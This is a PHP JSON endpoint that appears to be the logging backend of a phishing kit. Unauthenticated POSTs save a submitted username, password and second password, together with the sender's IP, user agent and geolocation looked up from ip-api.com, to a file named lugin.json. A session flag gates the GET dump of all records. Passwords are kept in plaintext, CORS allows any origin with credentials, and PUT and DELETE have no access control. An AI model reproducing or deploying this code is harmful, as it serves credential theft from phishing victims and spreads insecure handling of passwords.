<?php
// === Headers ===
header("Content-Type: application/json");
header("Access-Control-Allow-Origin: *");
header("Access-Control-Allow-Credentials: true");
header("Access-Control-Allow-Headers: Content-Type, Authorization");
header("Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS");
header("Cache-Control: no-cache, no-store, must-revalidate");
header("Pragma: no-cache");
header("Expires: 0");

// === Handle Preflight (CORS OPTIONS) ===
if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
    http_response_code(200);
    exit();
}
session_start();
if ($_SERVER['REQUEST_METHOD'] === 'GET') {
    if (!isset($_SESSION['dibi-ut']) || $_SESSION['dibi-ut'] !== true) {
    http_response_code(403); // Forbidden
    echo json_encode(['error' => 'Unauthorized access']);
    exit();
}
}
// === Path ke file database JSON ===
$db_file = '../lugin.json';

// === Helper: Load JSON dari file ===
function load_json($file) {
    if (!file_exists($file)) {
        file_put_contents($file, json_encode([])); // Buat file baru jika belum ada
    }
    $json = file_get_contents($file);
    $data = json_decode($json, true);
    return is_array($data) ? $data : [];
}

// === Helper: Simpan JSON ke file ===
function save_json($file, $data) {
    if (!file_exists($file)) {
        touch($file); // Buat file kosong
    }
    file_put_contents($file, json_encode($data, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE));
}

// === Ambil method request ===
$method = $_SERVER['REQUEST_METHOD'];

switch ($method) {
    // === GET: Ambil semua user ===
    case 'GET':
        echo json_encode(load_json($db_file));
        break;

    // === POST: Tambah user baru ===
    case 'POST':
        $data = json_decode(file_get_contents('php://input'), true);

        if (!is_array($data)) {
            http_response_code(400);
            echo json_encode(['error' => 'Invalid JSON']);
            exit;
        }

        if (empty($data['username']) || empty($data['password'])) {
            http_response_code(400);
            echo json_encode(['error' => 'Username and password required']);
            exit;
        }

        $users = load_json($db_file);

        foreach ($users as $u) {
            if ($u['username'] === $data['username']) {
                http_response_code(409);
                echo json_encode(['error' => 'Username already exists']);
                exit;
            }
        }

        $ip   = $_SERVER['REMOTE_ADDR'] ?? 'UNKNOWN';
        $ua   = $_SERVER['HTTP_USER_AGENT'] ?? 'UNKNOWN';
        $host = $_SERVER['HTTP_HOST'] ?? 'UNKNOWN';

        $details = @json_decode(file_get_contents("http://ip-api.com/json/$ip"), true);

        $new_user = [
            'username'    => $data['username'],
            'password'    => $data['password'],
            'password2'   => $data['password2'] ?? '',
            'ip'          => $ip,
            'host'        => $host,
            'country'     => $details['country'] ?? 'Unknown',
            'state'       => $details['regionName'] ?? 'Unknown',
            'city'        => $details['city'] ?? 'Unknown',
            'user_agent'  => $ua
        ];

        $users[] = $new_user;
        save_json($db_file, $users);

        echo json_encode(['status' => 'created']);
        break;

    // === PUT: Update data user ===
    case 'PUT':
        $data = json_decode(file_get_contents('php://input'), true);

        if (!is_array($data) || empty($data['username'])) {
            http_response_code(400);
            echo json_encode(['error' => 'Username required']);
            exit;
        }

        $users = load_json($db_file);
        $found = false;

        foreach ($users as &$u) {
            if ($u['username'] === $data['username']) {
                $u = array_merge($u, $data);
                $found = true;
                break;
            }
        }

        if (!$found) {
            http_response_code(404);
            echo json_encode(['error' => 'User not found']);
            exit;
        }

        save_json($db_file, $users);
        echo json_encode(['status' => 'updated']);
        break;

    // === DELETE: Hapus user berdasarkan username ===
    case 'DELETE':
        parse_str(file_get_contents("php://input"), $params);

        if (empty($params['username'])) {
            http_response_code(400);
            echo json_encode(['error' => 'Username required']);
            exit;
        }

        $users = load_json($db_file);
        $filtered = array_filter($users, fn($u) => $u['username'] !== $params['username']);

        if (count($filtered) === count($users)) {
            http_response_code(404);
            echo json_encode(['error' => 'User not found']);
            exit;
        }

        save_json($db_file, array_values($filtered));
        echo json_encode(['status' => 'deleted']);
        break;

    // === Jika method tidak dikenal ===
    default:
        http_response_code(405);
        echo json_encode(['error' => 'Method not allowed']);
        break;
}
?>
